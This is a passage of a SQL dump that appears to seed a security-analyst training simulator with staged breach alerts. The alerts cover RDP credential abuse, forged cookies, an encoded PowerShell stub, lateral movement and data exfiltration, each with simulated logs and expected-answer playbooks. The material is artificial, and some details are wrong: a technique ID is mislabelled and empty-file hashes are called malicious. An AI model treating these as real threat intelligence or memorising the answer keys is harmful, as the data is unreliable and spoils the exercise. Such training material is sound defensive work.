Exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"customer_data_2023.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"action\\\":\\\"transferred\\\",\\\"bytes_transferred\\\":54000000,\\\"alert_id\\\":\\\"DLP-EXFIL-001\\\",\\\"status\\\":\\\"Confirmed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"event\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"customer_data_2023.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"action\\\":\\\"transferred\\\",\\\"bytes_transferred\\\":54000000,\\\"alert_id\\\":\\\"DLP-EXFIL-001\\\",\\\"status\\\":\\\"Confirmed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1014, 'Suspicious Access Patterns Detected', 'high', 'Security Information and Event Management (SIEM)', 'Initial reports of abnormal login attempts hint at compromised credentials, marking the beginning of the breach. Multiple failed login attempts followed by a successful login from an unfamiliar IP address indicate potential credential theft.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"status\":\"Failed\",\"failure_reason\":\"Invalid password\",\"login_method\":\"Remote Desktop Protocol (RDP)\",\"related_event_id\":\"4624\",\"related_timestamp\":\"2023-10-12T14:24:10Z\",\"related_status\":\"Success\",\"related_source_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_payload.exe\"}', '2026-01-17 03:50:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized access attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account involved in unusual activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File linked to unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.713Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Invalid password\\\",\\\"login_method\\\":\\\"Remote Desktop Protocol (RDP)\\\",\\\"related_event_id\\\":\\\"4624\\\",\\\"related_timestamp\\\":\\\"2023-10-12T14:24:10Z\\\",\\\"related_status\\\":\\\"Success\\\",\\\"related_source_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.713Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Invalid password\\\",\\\"login_method\\\":\\\"Remote Desktop Protocol (RDP)\\\",\\\"related_event_id\\\":\\\"4624\\\",\\\"related_timestamp\\\":\\\"2023-10-12T14:24:10Z\\\",\\\"related_status\\\":\\\"Success\\\",\\\"related_source_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.713Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Invalid password\\\",\\\"login_method\\\":\\\"Remote Desktop Protocol (RDP)\\\",\\\"related_event_id\\\":\\\"4624\\\",\\\"related_timestamp\\\":\\\"2023-10-12T14:24:10Z\\\",\\\"related_status\\\":\\\"Success\\\",\\\"related_source_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.713Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Invalid password\\\",\\\"login_method\\\":\\\"Remote Desktop Protocol (RDP)\\\",\\\"related_event_id\\\":\\\"4624\\\",\\\"related_timestamp\\\":\\\"2023-10-12T14:24:10Z\\\",\\\"related_status\\\":\\\"Success\\\",\\\"related_source_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.713Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Invalid password\\\",\\\"login_method\\\":\\\"Remote Desktop Protocol (RDP)\\\",\\\"related_event_id\\\":\\\"4624\\\",\\\"related_timestamp\\\":\\\"2023-10-12T14:24:10Z\\\",\\\"related_status\\\":\\\"Success\\\",\\\"related_source_ip\\\":\\\"203.0.113.45\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1015, 'Forged Cookie Generation Detected', 'critical', 'Network Forensics Tools', 'Attackers have been detected generating forged cookies by leveraging compromised systems. These cookies allow unauthorized account access without requiring passwords.', 'Execution', 'T1556.004', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:47Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"file_name\":\"cookie_forge.exe\",\"file_hash\":\"c3ab8ff13720e8ad9047dd39466b3c89\",\"user\":\"compromised_user\",\"process_id\":4521,\"malicious_ip\":\"203.0.113.45\",\"event\":\"Forged Cookie Generation\",\"description\":\"A forged cookie was generated to enable access to user accounts without password authentication.\"}', '2026-01-17 03:50:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP from internal network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used for unauthorized access\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"c3ab8ff13720e8ad9047dd39466b3c89\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with cookie forging malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"cookie_forge.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable involved in generating forged cookies\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account involved in suspicious activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1016, 'Persistence Mechanisms Activated', 'high', 'Endpoint Detection and Response (EDR)', 'Persistent access is established by embedding forged cookies across multiple sessions, evading detection.', 'Persistence', 'T1502 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:58Z\",\"event_id\":\"EDR-0723\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.50\",\"username\":\"jdoe\",\"file_created\":\"C:\\\\Windows\\\\Temp\\\\splunkcookie.tmp\",\"malware_hash\":\"3f1a5d2c3e9f8b0d6a6c3b1f4e7d9a5b\",\"event_description\":\"Suspicious temporary file creation detected. Potential malicious cookie implantation observed.\",\"file_integrity_check\":\"Failed\",\"process_name\":\"powershell.exe\",\"process_id\":3456,\"persistence_technique\":\"Forged cookies\"}', '2026-01-17 03:50:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account but potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"powershell.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file creation indicative of persistence techniques.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f1a5d2c3e9f8b0d6a6c3b1f4e7d9a5b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in persistence mechanisms.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1017, 'Lateral Movement Across Accounts', 'high', 'User Behavior Analytics (UBA)', 'The attackers are performing lateral movement, targeting accounts of journalists and other high-value individuals in an attempt to expand their influence.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"lateral_movement\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"user\":\"jdoe\",\"target_accounts\":[\"journalist1@news.com\",\"editor@media.org\"],\"malware_filename\":\"APT29_toolkit.exe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"login_attempt\",\"status\":\"success\",\"extra_info\":{\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"session_id\":\"abc123xyz\",\"external_references\":[\"https://threatintel.report/apt29\"]}}', '2026-01-17 03:50:17', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Account usage patterns inconsistent with typical behavior.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"user\\\":\\\"jdoe\\\",\\\"target_accounts\\\":[\\\"journalist1@news.com\\\",\\\"editor@media.org\\\"],\\\"malware_filename\\\":\\\"APT29_toolkit.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"extra_info\\\":{\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"external_references\\\":[\\\"https://threatintel.report/apt29\\\"]}}\"},{\"timestamp\":\"2026-02-01T20:31:22.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"user\\\":\\\"jdoe\\\",\\\"target_accounts\\\":[\\\"journalist1@news.com\\\",\\\"editor@media.org\\\"],\\\"malware_filename\\\":\\\"APT29_toolkit.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"extra_info\\\":{\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"external_references\\\":[\\\"https://threatintel.report/apt29\\\"]}}\"},{\"timestamp\":\"2026-02-01T20:30:22.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"user\\\":\\\"jdoe\\\",\\\"target_accounts\\\":[\\\"journalist1@news.com\\\",\\\"editor@media.org\\\"],\\\"malware_filename\\\":\\\"APT29_toolkit.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"extra_info\\\":{\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"external_references\\\":[\\\"https://threatintel.report/apt29\\\"]}}\"},{\"timestamp\":\"2026-02-01T20:29:22.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"user\\\":\\\"jdoe\\\",\\\"target_accounts\\\":[\\\"journalist1@news.com\\\",\\\"editor@media.org\\\"],\\\"malware_filename\\\":\\\"APT29_toolkit.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"extra_info\\\":{\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"external_references\\\":[\\\"https://threatintel.report/apt29\\\"]}}\"},{\"timestamp\":\"2026-02-01T20:28:22.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"lateral_movement\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.5.12\\\",\\\"user\\\":\\\"jdoe\\\",\\\"target_accounts\\\":[\\\"journalist1@news.com\\\",\\\"editor@media.org\\\"],\\\"malware_filename\\\":\\\"APT29_toolkit.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"extra_info\\\":{\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"external_references\\\":[\\\"https://threatintel.report/apt29\\\"]}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1018, 'Massive Data Exfiltration', 'critical', 'Data Loss Prevention (DLP) Systems', 'Sensitive information has been exfiltrated from several compromised accounts, marking the final and most damaging stage of the breach.', 'Exfiltration', 'T1020: Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"DLP-EXFIL-20231015-0005\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.150\",\"username\":\"jdoe\",\"filename\":\"sensitive_data.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"bytes_transferred\":10485760,\"external_attacker_ip\":\"203.0.113.150\"}', '2026-01-17 03:50:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within corporate network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"Account involved in unauthorized data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive corporate data.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"Hash of a file involved in data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.718Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-0005\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.150\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760,\\\"external_attacker_ip\\\":\\\"203.0.113.150\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.718Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-0005\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.150\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760,\\\"external_attacker_ip\\\":\\\"203.0.113.150\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.718Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-0005\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.150\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760,\\\"external_attacker_ip\\\":\\\"203.0.113.150\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.718Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015-0005\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.150\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_transferred\\\":10485760,\\\"external_attacker_ip\\\":\\\"203.0.113.150\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.718Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 